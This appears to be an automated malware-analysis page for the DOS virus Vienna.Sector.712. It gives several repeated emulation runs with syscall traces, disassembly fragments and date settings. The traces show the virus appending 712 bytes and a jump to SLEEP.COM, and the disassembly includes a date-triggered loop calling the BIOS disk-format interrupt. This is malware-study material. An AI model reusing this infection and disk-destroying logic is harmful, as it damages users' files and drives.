Sample viewer

vx.netlux.org/Virus.DOS.Vienna.Sector.712

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:20:59.611866536Z 48 PC: 12a6b | Get DOS version
2018-12-17T22:20:59.614079189Z 47 PC: 12a72 | Get disk transfer address
2018-12-17T22:20:59.615188655Z 26 PC: 12a85 | Set disk transfer address
2018-12-17T22:20:59.616628425Z 42 PC: 12a95 | Get date 0x12a95: cmp cx, 0x7c9
0x12a99: jge 0x12a9e
0x12a9b: jmp 0x12ad6
0x12a9d: nop
0x12a9e: mov ah, 0x2a
0x12aa0: int 0x21
0x12aa2: cmp dh, 7
0x12aa5: jge 0x12aaa
0x12aa7: jmp 0x12ad6
0x12aa9: nop
0x12aaa: mov ah, 0x2a
0x12aac: int 0x21
0x12aae: cmp dl, 0x1f
0x12ab1: jge 0x12ab6
0x12ab3: jmp 0x12ad6
0x12ab5: nop
0x12ab6: mov al, byte ptr [0x355]
0x12ab9: call 0x12ac9
0x12abc: cmp byte ptr [0x355], 0x19
0x12ac1: je 0x12ad6
2018-12-17T22:20:59.619658951Z 42 PC: 12aa2 | Get date 0x12aa2: cmp dh, 7
0x12aa5: jge 0x12aaa
0x12aa7: jmp 0x12ad6
0x12aa9: nop
0x12aaa: mov ah, 0x2a
0x12aac: int 0x21
0x12aae: cmp dl, 0x1f
0x12ab1: jge 0x12ab6
0x12ab3: jmp 0x12ad6
0x12ab5: nop
0x12ab6: mov al, byte ptr [0x355]
0x12ab9: call 0x12ac9
0x12abc: cmp byte ptr [0x355], 0x19
0x12ac1: je 0x12ad6
0x12ac3: inc byte ptr [0x355]
0x12ac7: loop 0x12ab6
0x12ac9: mov ah, 5
0x12acb: mov ch, 0
0x12acd: mov dh, 0
0x12acf: mov dl, byte ptr [0x355]
2018-12-17T22:20:59.621892137Z 42 PC: 12aae | Get date 0x12aae: cmp dl, 0x1f
0x12ab1: jge 0x12ab6
0x12ab3: jmp 0x12ad6
0x12ab5: nop
0x12ab6: mov al, byte ptr [0x355]
0x12ab9: call 0x12ac9
0x12abc: cmp byte ptr [0x355], 0x19
0x12ac1: je 0x12ad6
0x12ac3: inc byte ptr [0x355]
0x12ac7: loop 0x12ab6
0x12ac9: mov ah, 5
0x12acb: mov ch, 0
0x12acd: mov dh, 0
0x12acf: mov dl, byte ptr [0x355]
0x12ad3: int 0x13
0x12ad5: ret
0x12ad6: pop si
0x12ad7: push si
0x12ad8: add si, 0x2e
0x12adb: nop
2018-12-17T22:20:59.624140036Z 78 PC: 12b59 | Find first file
2018-12-17T22:20:59.630802437Z 67 PC: 12b97 | Get or set file attributes
2018-12-17T22:20:59.636840486Z 67 PC: 12ba9 | Get or set file attributes
2018-12-17T22:20:59.652968247Z 61 PC: 12bb4 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:20:59.65977028Z 87 PC: 12bc0 | Get or set file date and time
2018-12-17T22:20:59.661809947Z 44 PC: 12bcc | Get time 0x12bcc: and dh, 7
0x12bcf: jmp 0x12bd2
0x12bd1: nop
0x12bd2: mov ah, 0x3f
0x12bd4: mov cx, 3
0x12bd7: mov dx, 0x1e
0x12bda: nop
0x12bdb: add dx, si
0x12bdd: int 0x21
0x12bdf: jb 0x12c36
0x12be1: cmp ax, 3
0x12be4: jne 0x12c36
0x12be6: mov ax, 0x4202
0x12be9: mov cx, 0
0x12bec: mov dx, 0
0x12bef: int 0x21
0x12bf1: jb 0x12c36
0x12bf3: mov cx, ax
0x12bf5: sub ax, 3
0x12bf8: mov word ptr [si + 0x22], ax
2018-12-17T22:20:59.664100835Z 63 PC: 12bdf | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:20:59.671054472Z 66 PC: 12bf1 | Move file pointer
2018-12-17T22:20:59.674473985Z 64 PC: 12c15 | Write file or device (Write 712 bytes on handle 5)
2018-12-17T22:20:59.685735768Z 66 PC: 12c27 | Move file pointer
2018-12-17T22:20:59.689797457Z 64 PC: 12c36 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:20:59.713330711Z 87 PC: 12c49 | Get or set file date and time
2018-12-17T22:20:59.715367324Z 62 PC: 12c4d | Close file
2018-12-17T22:20:59.723312396Z 67 PC: 12c5c | Get or set file attributes
2018-12-17T22:20:59.734845338Z 26 PC: 12c69 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1993,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3654,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:49:47.047449441Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:49:47.049147068Z 47 PC: 12a72 | Get disk transfer address
2018-12-25T11:49:47.050143805Z 26 PC: 12a85 | Set disk transfer address
2018-12-25T11:49:47.051131033Z 42 PC: 12a95 | Get date 0x12a95: cmp cx, 0x7c9
0x12a99: jge 0x12a9e
0x12a9b: jmp 0x12ad6
0x12a9d: nop
0x12a9e: mov ah, 0x2a
0x12aa0: int 0x21
0x12aa2: cmp dh, 7
0x12aa5: jge 0x12aaa
0x12aa7: jmp 0x12ad6
0x12aa9: nop
0x12aaa: mov ah, 0x2a
0x12aac: int 0x21
0x12aae: cmp dl, 0x1f
0x12ab1: jge 0x12ab6
0x12ab3: jmp 0x12ad6
0x12ab5: nop
0x12ab6: mov al, byte ptr [0x355]
0x12ab9: call 0x12ac9
0x12abc: cmp byte ptr [0x355], 0x19
0x12ac1: je 0x12ad6
2018-12-25T11:49:47.053307884Z 42 PC: 12aa2 | Get date 0x12aa2: cmp dh, 7
0x12aa5: jge 0x12aaa
0x12aa7: jmp 0x12ad6
0x12aa9: nop
0x12aaa: mov ah, 0x2a
0x12aac: int 0x21
0x12aae: cmp dl, 0x1f
0x12ab1: jge 0x12ab6
0x12ab3: jmp 0x12ad6
0x12ab5: nop
0x12ab6: mov al, byte ptr [0x355]
0x12ab9: call 0x12ac9
0x12abc: cmp byte ptr [0x355], 0x19
0x12ac1: je 0x12ad6
0x12ac3: inc byte ptr [0x355]
0x12ac7: loop 0x12ab6
0x12ac9: mov ah, 5
0x12acb: mov ch, 0
0x12acd: mov dh, 0
0x12acf: mov dl, byte ptr [0x355]
2018-12-25T11:49:47.05895008Z 78 PC: 12b59 | Find first file
2018-12-25T11:49:47.065810815Z 67 PC: 12b97 | Get or set file attributes
2018-12-25T11:49:47.072011836Z 67 PC: 12ba9 | Get or set file attributes
2018-12-25T11:49:47.090900242Z 61 PC: 12bb4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:49:47.09744964Z 87 PC: 12bc0 | Get or set file date and time
2018-12-25T11:49:47.099250032Z 44 PC: 12bcc | Get time 0x12bcc: and dh, 7
0x12bcf: jmp 0x12bd2
0x12bd1: nop
0x12bd2: mov ah, 0x3f
0x12bd4: mov cx, 3
0x12bd7: mov dx, 0x1e
0x12bda: nop
0x12bdb: add dx, si
0x12bdd: int 0x21
0x12bdf: jb 0x12c36
0x12be1: cmp ax, 3
0x12be4: jne 0x12c36
0x12be6: mov ax, 0x4202
0x12be9: mov cx, 0
0x12bec: mov dx, 0
0x12bef: int 0x21
0x12bf1: jb 0x12c36
0x12bf3: mov cx, ax
0x12bf5: sub ax, 3
0x12bf8: mov word ptr [si + 0x22], ax
2018-12-25T11:49:47.102443753Z 63 PC: 12bdf | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:49:47.108807325Z 66 PC: 12bf1 | Move file pointer
2018-12-25T11:49:47.110148838Z 64 PC: 12c15 | Write file or device (Write 712 bytes on handle 5)
2018-12-25T11:49:47.120202748Z 66 PC: 12c27 | Move file pointer
2018-12-25T11:49:47.122076434Z 64 PC: 12c36 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:49:47.128444706Z 87 PC: 12c49 | Get or set file date and time
2018-12-25T11:49:47.130225078Z 62 PC: 12c4d | Close file
2018-12-25T11:49:47.137941035Z 67 PC: 12c5c | Get or set file attributes
2018-12-25T11:49:47.148670164Z 26 PC: 12c69 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3654,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:49:47.070005588Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:49:47.0715721Z 47 PC: 12a72 | Get disk transfer address
2018-12-25T11:49:47.07294884Z 26 PC: 12a85 | Set disk transfer address
2018-12-25T11:49:47.074092565Z 42 PC: 12a95 | Get date 0x12a95: cmp cx, 0x7c9
0x12a99: jge 0x12a9e
0x12a9b: jmp 0x12ad6
0x12a9d: nop
0x12a9e: mov ah, 0x2a
0x12aa0: int 0x21
0x12aa2: cmp dh, 7
0x12aa5: jge 0x12aaa
0x12aa7: jmp 0x12ad6
0x12aa9: nop
0x12aaa: mov ah, 0x2a
0x12aac: int 0x21
0x12aae: cmp dl, 0x1f
0x12ab1: jge 0x12ab6
0x12ab3: jmp 0x12ad6
0x12ab5: nop
0x12ab6: mov al, byte ptr [0x355]
0x12ab9: call 0x12ac9
0x12abc: cmp byte ptr [0x355], 0x19
0x12ac1: je 0x12ad6
2018-12-25T11:49:47.076646516Z 78 PC: 12b59 | Find first file
2018-12-25T11:49:47.083469536Z 67 PC: 12b97 | Get or set file attributes
2018-12-25T11:49:47.089480087Z 67 PC: 12ba9 | Get or set file attributes
2018-12-25T11:49:47.322132753Z 61 PC: 12bb4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:49:47.331114602Z 87 PC: 12bc0 | Get or set file date and time
2018-12-25T11:49:47.332952772Z 44 PC: 12bcc | Get time 0x12bcc: and dh, 7
0x12bcf: jmp 0x12bd2
0x12bd1: nop
0x12bd2: mov ah, 0x3f
0x12bd4: mov cx, 3
0x12bd7: mov dx, 0x1e
0x12bda: nop
0x12bdb: add dx, si
0x12bdd: int 0x21
0x12bdf: jb 0x12c36
0x12be1: cmp ax, 3
0x12be4: jne 0x12c36
0x12be6: mov ax, 0x4202
0x12be9: mov cx, 0
0x12bec: mov dx, 0
0x12bef: int 0x21
0x12bf1: jb 0x12c36
0x12bf3: mov cx, ax
0x12bf5: sub ax, 3
0x12bf8: mov word ptr [si + 0x22], ax
2018-12-25T11:49:47.336135454Z 63 PC: 12bdf | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:49:47.34552272Z 66 PC: 12bf1 | Move file pointer
2018-12-25T11:49:47.34749934Z 64 PC: 12c15 | Write file or device (Write 712 bytes on handle 5)
2018-12-25T11:49:47.357740884Z 66 PC: 12c27 | Move file pointer
2018-12-25T11:49:47.361138561Z 64 PC: 12c36 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:49:47.376145135Z 87 PC: 12c49 | Get or set file date and time
2018-12-25T11:49:47.378265039Z 62 PC: 12c4d | Close file
2018-12-25T11:49:47.387136809Z 67 PC: 12c5c | Get or set file attributes
2018-12-25T11:49:47.398560742Z 26 PC: 12c69 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3654,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:49:47.1008419Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:49:47.102474854Z 47 PC: 12a72 | Get disk transfer address
2018-12-25T11:49:47.103740208Z 26 PC: 12a85 | Set disk transfer address
2018-12-25T11:49:47.106839161Z 42 PC: 12a95 | Get date 0x12a95: cmp cx, 0x7c9
0x12a99: jge 0x12a9e
0x12a9b: jmp 0x12ad6
0x12a9d: nop
0x12a9e: mov ah, 0x2a
0x12aa0: int 0x21
0x12aa2: cmp dh, 7
0x12aa5: jge 0x12aaa
0x12aa7: jmp 0x12ad6
0x12aa9: nop
0x12aaa: mov ah, 0x2a
0x12aac: int 0x21
0x12aae: cmp dl, 0x1f
0x12ab1: jge 0x12ab6
0x12ab3: jmp 0x12ad6
0x12ab5: nop
0x12ab6: mov al, byte ptr [0x355]
0x12ab9: call 0x12ac9
0x12abc: cmp byte ptr [0x355], 0x19
0x12ac1: je 0x12ad6
2018-12-25T11:49:47.110061962Z 78 PC: 12b59 | Find first file
2018-12-25T11:49:47.116716324Z 67 PC: 12b97 | Get or set file attributes
2018-12-25T11:49:47.122694391Z 67 PC: 12ba9 | Get or set file attributes
2018-12-25T11:49:47.323381677Z 61 PC: 12bb4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:49:47.333205764Z 87 PC: 12bc0 | Get or set file date and time
2018-12-25T11:49:47.335252822Z 44 PC: 12bcc | Get time 0x12bcc: and dh, 7
0x12bcf: jmp 0x12bd2
0x12bd1: nop
0x12bd2: mov ah, 0x3f
0x12bd4: mov cx, 3
0x12bd7: mov dx, 0x1e
0x12bda: nop
0x12bdb: add dx, si
0x12bdd: int 0x21
0x12bdf: jb 0x12c36
0x12be1: cmp ax, 3
0x12be4: jne 0x12c36
0x12be6: mov ax, 0x4202
0x12be9: mov cx, 0
0x12bec: mov dx, 0
0x12bef: int 0x21
0x12bf1: jb 0x12c36
0x12bf3: mov cx, ax
0x12bf5: sub ax, 3
0x12bf8: mov word ptr [si + 0x22], ax
2018-12-25T11:49:47.338339864Z 63 PC: 12bdf | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:49:47.34730073Z 66 PC: 12bf1 | Move file pointer
2018-12-25T11:49:47.34895057Z 64 PC: 12c15 | Write file or device (Write 712 bytes on handle 5)
2018-12-25T11:49:47.358343842Z 66 PC: 12c27 | Move file pointer
2018-12-25T11:49:47.361545214Z 64 PC: 12c36 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:49:47.369086579Z 87 PC: 12c49 | Get or set file date and time
2018-12-25T11:49:47.371041491Z 62 PC: 12c4d | Close file
2018-12-25T11:49:47.380965044Z 67 PC: 12c5c | Get or set file attributes
2018-12-25T11:49:47.392547653Z 26 PC: 12c69 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":7,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3654,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:49:47.319224256Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:49:47.321311305Z 47 PC: 12a72 | Get disk transfer address
2018-12-25T11:49:47.323130213Z 26 PC: 12a85 | Set disk transfer address
2018-12-25T11:49:47.32403616Z 42 PC: 12a95 | Get date 0x12a95: cmp cx, 0x7c9
0x12a99: jge 0x12a9e
0x12a9b: jmp 0x12ad6
0x12a9d: nop
0x12a9e: mov ah, 0x2a
0x12aa0: int 0x21
0x12aa2: cmp dh, 7
0x12aa5: jge 0x12aaa
0x12aa7: jmp 0x12ad6
0x12aa9: nop
0x12aaa: mov ah, 0x2a
0x12aac: int 0x21
0x12aae: cmp dl, 0x1f
0x12ab1: jge 0x12ab6
0x12ab3: jmp 0x12ad6
0x12ab5: nop
0x12ab6: mov al, byte ptr [0x355]
0x12ab9: call 0x12ac9
0x12abc: cmp byte ptr [0x355], 0x19
0x12ac1: je 0x12ad6
2018-12-25T11:49:47.326347608Z 78 PC: 12b59 | Find first file
2018-12-25T11:49:47.33242312Z 67 PC: 12b97 | Get or set file attributes
2018-12-25T11:49:47.337738441Z 67 PC: 12ba9 | Get or set file attributes
2018-12-25T11:49:47.353036581Z 61 PC: 12bb4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:49:47.359901062Z 87 PC: 12bc0 | Get or set file date and time
2018-12-25T11:49:47.361125002Z 44 PC: 12bcc | Get time 0x12bcc: and dh, 7
0x12bcf: jmp 0x12bd2
0x12bd1: nop
0x12bd2: mov ah, 0x3f
0x12bd4: mov cx, 3
0x12bd7: mov dx, 0x1e
0x12bda: nop
0x12bdb: add dx, si
0x12bdd: int 0x21
0x12bdf: jb 0x12c36
0x12be1: cmp ax, 3
0x12be4: jne 0x12c36
0x12be6: mov ax, 0x4202
0x12be9: mov cx, 0
0x12bec: mov dx, 0
0x12bef: int 0x21
0x12bf1: jb 0x12c36
0x12bf3: mov cx, ax
0x12bf5: sub ax, 3
0x12bf8: mov word ptr [si + 0x22], ax
2018-12-25T11:49:47.363062553Z 63 PC: 12bdf | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:49:47.369654681Z 66 PC: 12bf1 | Move file pointer
2018-12-25T11:49:47.370853593Z 64 PC: 12c15 | Write file or device (Write 712 bytes on handle 5)
2018-12-25T11:49:47.379329938Z 66 PC: 12c27 | Move file pointer
2018-12-25T11:49:47.380975655Z 64 PC: 12c36 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:49:47.387317583Z 87 PC: 12c49 | Get or set file date and time
2018-12-25T11:49:47.388573282Z 62 PC: 12c4d | Close file
2018-12-25T11:49:47.396232739Z 67 PC: 12c5c | Get or set file attributes
2018-12-25T11:49:47.405916796Z 26 PC: 12c69 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3654,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:49:47.328937112Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:49:47.331142099Z 47 PC: 12a72 | Get disk transfer address
2018-12-25T11:49:47.332294052Z 26 PC: 12a85 | Set disk transfer address
2018-12-25T11:49:47.333391011Z 42 PC: 12a95 | Get date 0x12a95: cmp cx, 0x7c9
0x12a99: jge 0x12a9e
0x12a9b: jmp 0x12ad6
0x12a9d: nop
0x12a9e: mov ah, 0x2a
0x12aa0: int 0x21
0x12aa2: cmp dh, 7
0x12aa5: jge 0x12aaa
0x12aa7: jmp 0x12ad6
0x12aa9: nop
0x12aaa: mov ah, 0x2a
0x12aac: int 0x21
0x12aae: cmp dl, 0x1f
0x12ab1: jge 0x12ab6
0x12ab3: jmp 0x12ad6
0x12ab5: nop
0x12ab6: mov al, byte ptr [0x355]
0x12ab9: call 0x12ac9
0x12abc: cmp byte ptr [0x355], 0x19
0x12ac1: je 0x12ad6
2018-12-25T11:49:47.335882648Z 78 PC: 12b59 | Find first file
2018-12-25T11:49:47.342436758Z 67 PC: 12b97 | Get or set file attributes
2018-12-25T11:49:47.351815623Z 67 PC: 12ba9 | Get or set file attributes
2018-12-25T11:49:47.36924743Z 61 PC: 12bb4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:49:47.381654182Z 87 PC: 12bc0 | Get or set file date and time
2018-12-25T11:49:47.383219227Z 44 PC: 12bcc | Get time 0x12bcc: and dh, 7
0x12bcf: jmp 0x12bd2
0x12bd1: nop
0x12bd2: mov ah, 0x3f
0x12bd4: mov cx, 3
0x12bd7: mov dx, 0x1e
0x12bda: nop
0x12bdb: add dx, si
0x12bdd: int 0x21
0x12bdf: jb 0x12c36
0x12be1: cmp ax, 3
0x12be4: jne 0x12c36
0x12be6: mov ax, 0x4202
0x12be9: mov cx, 0
0x12bec: mov dx, 0
0x12bef: int 0x21
0x12bf1: jb 0x12c36
0x12bf3: mov cx, ax
0x12bf5: sub ax, 3
0x12bf8: mov word ptr [si + 0x22], ax
2018-12-25T11:49:47.385496743Z 63 PC: 12bdf | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:49:47.392666944Z 66 PC: 12bf1 | Move file pointer
2018-12-25T11:49:47.394011697Z 64 PC: 12c15 | Write file or device (Write 712 bytes on handle 5)
2018-12-25T11:49:47.40528817Z 66 PC: 12c27 | Move file pointer
2018-12-25T11:49:47.407869598Z 64 PC: 12c36 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:49:47.414588957Z 87 PC: 12c49 | Get or set file date and time
2018-12-25T11:49:47.416625948Z 62 PC: 12c4d | Close file
2018-12-25T11:49:47.425699751Z 67 PC: 12c5c | Get or set file attributes
2018-12-25T11:49:47.436173001Z 26 PC: 12c69 | Set disk transfer address

{"DateBased":true,"Day":31,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3654,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:49:47.446098275Z 48 PC: 12a6b | Get DOS version
2018-12-25T11:49:47.448766012Z 47 PC: 12a72 | Get disk transfer address
2018-12-25T11:49:47.450355229Z 26 PC: 12a85 | Set disk transfer address
2018-12-25T11:49:47.451869795Z 42 PC: 12a95 | Get date 0x12a95: cmp cx, 0x7c9
0x12a99: jge 0x12a9e
0x12a9b: jmp 0x12ad6
0x12a9d: nop
0x12a9e: mov ah, 0x2a
0x12aa0: int 0x21
0x12aa2: cmp dh, 7
0x12aa5: jge 0x12aaa
0x12aa7: jmp 0x12ad6
0x12aa9: nop
0x12aaa: mov ah, 0x2a
0x12aac: int 0x21
0x12aae: cmp dl, 0x1f
0x12ab1: jge 0x12ab6
0x12ab3: jmp 0x12ad6
0x12ab5: nop
0x12ab6: mov al, byte ptr [0x355]
0x12ab9: call 0x12ac9
0x12abc: cmp byte ptr [0x355], 0x19
0x12ac1: je 0x12ad6
2018-12-25T11:49:47.454921314Z 78 PC: 12b59 | Find first file
2018-12-25T11:49:47.462134157Z 67 PC: 12b97 | Get or set file attributes
2018-12-25T11:49:47.468746521Z 67 PC: 12ba9 | Get or set file attributes
2018-12-25T11:49:47.491350521Z 61 PC: 12bb4 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:49:47.499183241Z 87 PC: 12bc0 | Get or set file date and time
2018-12-25T11:49:47.500337326Z 44 PC: 12bcc | Get time 0x12bcc: and dh, 7
0x12bcf: jmp 0x12bd2
0x12bd1: nop
0x12bd2: mov ah, 0x3f
0x12bd4: mov cx, 3
0x12bd7: mov dx, 0x1e
0x12bda: nop
0x12bdb: add dx, si
0x12bdd: int 0x21
0x12bdf: jb 0x12c36
0x12be1: cmp ax, 3
0x12be4: jne 0x12c36
0x12be6: mov ax, 0x4202
0x12be9: mov cx, 0
0x12bec: mov dx, 0
0x12bef: int 0x21
0x12bf1: jb 0x12c36
0x12bf3: mov cx, ax
0x12bf5: sub ax, 3
0x12bf8: mov word ptr [si + 0x22], ax
2018-12-25T11:49:47.502027893Z 63 PC: 12bdf | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:49:47.506761722Z 66 PC: 12bf1 | Move file pointer
2018-12-25T11:49:47.50812607Z 64 PC: 12c15 | Write file or device (Write 712 bytes on handle 5)
2018-12-25T11:49:47.514137902Z 66 PC: 12c27 | Move file pointer
2018-12-25T11:49:47.51706261Z 64 PC: 12c36 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:49:47.522754165Z 87 PC: 12c49 | Get or set file date and time
2018-12-25T11:49:47.524727Z 62 PC: 12c4d | Close file
2018-12-25T11:49:47.534192852Z 67 PC: 12c5c | Get or set file attributes
2018-12-25T11:49:47.550563855Z 26 PC: 12c69 | Set disk transfer address